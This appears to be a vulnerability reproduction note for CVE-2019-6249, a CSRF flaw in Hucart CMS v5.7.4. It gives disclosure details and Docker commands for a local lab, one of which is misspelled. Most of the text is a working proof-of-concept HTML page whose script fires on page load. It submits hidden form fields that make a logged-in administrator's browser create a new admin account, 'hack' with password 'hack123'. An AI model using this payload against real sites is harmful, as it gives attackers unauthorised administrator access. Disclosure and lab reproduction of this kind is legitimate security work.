
CVE-2019-6249 Hucart cms 复现环境
Vulnerability Name: CSRF vulnerability in Hucart cms v5.7.4 allows arbitrary addition of administrator accounts
Disclosure Date: 2019-01-13
Discovered by: AllenChen ([email protected])
Product Homepage: http://www.hucart.com/
Software Link: http://www.hucart.com/
Version: v5.7.4
CVE ID: CVE-2019-6249\
Hucart cms v5.7.4 has a CSRF vulnerability. When an administrator is logged in and visits the CSRF test page below, a new administrator account named "hack" can be added.
The exploit code is as follows: Adds an administrator account with username "hack" and password "hack123".
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='[email protected]' />";
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";
fields += "<input type='hidden' name='adm_enabled' value='1' />";
fields += "<input type='hidden' name='act_type' value='add' />";
fields += "<input type='hidden' name='adm_id' value='' />";
var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
Run the following commands in a Docker environment
docker built -t hucart -f Dockerfile .
docker run -d -p 80:80 hucart